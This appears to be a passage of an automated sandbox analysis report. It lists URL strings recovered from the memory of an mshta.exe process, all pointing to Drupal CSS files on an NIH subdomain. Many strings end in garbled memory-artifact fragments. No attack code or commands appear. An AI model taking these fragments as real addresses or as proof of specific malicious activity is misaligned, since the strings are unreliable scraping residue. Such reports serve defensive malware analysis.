Source: mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352909303.0000000006AEB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/details.module.css?sqz1q7w
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352909303.0000000006AEB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/fieldgroup.module.css?sqz1q7
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/fieldgroup.module.css?sqz1q7?xj2
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/fieldgroup.module.css?sqz1q7C:
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/fieldgroup.module.css?sqz1q7KYw2
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/fieldgroup.module.css?sqz1q7SY_2
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/fieldgroup.module.css?sqz1q7zx
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352909303.0000000006AEB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/hidden.module.css?sqz1q7
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1353234514.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1766161372.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407441584.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/hidden.module.css?sqz1q7m
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/hidden.module.css?sqz1q7trw1
Source: mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352909303.0000000006AEB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/item-list.module.css?sqz1q7
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/item-list.module.css?sqz1q73Y?2
Source: mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352928726.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/item-list.module.css?sqz1q7f
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/item-list.module.css?sqz1q7w
Source: mshta.exe, 0000000C.00000003.1407101094.0000000006BCE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.0000000003392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/js.module.css?sqz1q7
Source: mshta.exe, 0000000C.00000003.1407101094.0000000006BCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/js.module.css?sqz1q7.govC:
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/js.module.css?sqz1q7=
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/js.module.css?sqz1q7E
Source: mshta.exe, 0000000C.00000002.1759638434.0000000003392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/js.module.css?sqz1q7c
Source: mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352928726.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/js.module.css?sqz1q7sqz1q7
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352909303.0000000006AEB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/nowrap.module.css?sqz1q7
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/nowrap.module.css?sqz1q7?Y#2
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765810373.0000000006B1E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1353234514.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1766161372.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407441584.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407138751.0000000006B1B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352928726.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407419995.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765679515.0000000006B0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/position-container.module.css?sqz1q7
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352887728.0000000006AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765511740.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/position-container.module.css?sqz1q7?
Source: mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352928726.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/position-container.module.css?sqz1q7A
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1353234514.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/position-container.module.css?sqz1q7L-
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/position-container.module.css?sqz1q7w
Source: mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352928726.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/position-container.module.css?sqz1q7z
Source: mshta.exe, 0000000C.00000002.1765810373.0000000006B1E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407138751.0000000006B1B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352928726.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/reset-appearance.module.css?sqz1q7
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1353234514.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/reset-appearance.module.css?sqz1q7$
Source: mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352928726.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/reset-appearance.module.css?sqz1q7%
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/reset-appearance.module.css?sqz1q7.gC:
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1353234514.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/reset-appearance.module.css?sqz1q77
Source: mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352928726.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/reset-appearance.module.css?sqz1q7T
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1353234514.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1766161372.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407441584.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352909303.0000000006AEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/resize.module.css?sqz1q7
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/resize.module.css?sqz1q7VsU0
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352887728.0000000006AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765511740.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/resize.module.css?sqz1q7ss?sqz1q77
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/resize.module.css?sqz1q7t
Source: mshta.exe, 0000000C.00000002.1765298145.0000000006AD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352928726.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407419995.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765679515.0000000006B0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/system-status-counter.css?sqz1q7
Source: mshta.exe, 0000000C.00000002.1765298145.0000000006AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/system-status-counter.css?sqz1q7.govC:
Source: mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407419995.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765679515.0000000006B0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/system-status-counter.css?sqz1q7/
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407419995.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765679515.0000000006B0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/system-status-counter.css?sqz1q7/gd3
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/system-status-counter.css?sqz1q7Ej
Source: mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352928726.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/system-status-counter.css?sqz1q7t
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/system-status-counter.css?sqz1q7w
Source: mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765810373.0000000006B38000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407419995.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765756340.0000000006B1A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765679515.0000000006B0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/system-status-report-counters.css?sqz1q7
Source: mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407419995.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765679515.0000000006B0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/system-status-report-counters.css?sqz1q7.
Source: mshta.exe, 0000000C.00000003.1407487919.0000000006B19000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407419995.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765756340.0000000006B1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/system-status-report-counters.css?sqz1q7:
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/system-status-report-counters.css?sqz1q7S
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/system-status-report-counters.css?sqz1q7w
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/system-status-report-general-info.css?sqz
Source: mshta.exe, 0000000C.00000003.1407349225.0000000006AED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/tablesort.module.css?sqz1q7
Source: mshta.exe, 0000000C.00000002.1766161372.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407441584.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/tablesort.module.css?sqz1q7Y
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352887728.0000000006AF0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765511740.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/tablesort.module.css?sqz1q7s.css?sqz1q7O
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/components/tablesort.module.css?sqz1q7wY
Source: mshta.exe, 0000000C.00000002.1765298145.0000000006AD0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765298145.0000000006ADB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407138751.0000000006B38000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AD9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765810373.0000000006B38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7
Source: mshta.exe, 0000000C.00000002.1765298145.0000000006AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7C:
Source: mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7D
Source: mshta.exe, 0000000C.00000002.1765298145.0000000006ADB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7W
Source: mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7i
Source: mshta.exe, 0000000C.00000003.1407138751.0000000006B38000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765810373.0000000006B38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7icrosoft
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7m
Source: mshta.exe, 0000000C.00000002.1765466273.0000000006AE6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AE7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352928726.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407349225.0000000006AE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/system.admin.css?sqz1q7ule.css?sqz1q7z1q7
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033BE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/system.maintenance.css?sqz1q7
Source: mshta.exe, 0000000C.00000002.1766161372.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407441584.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/system.maintenance.css?sqz1q778
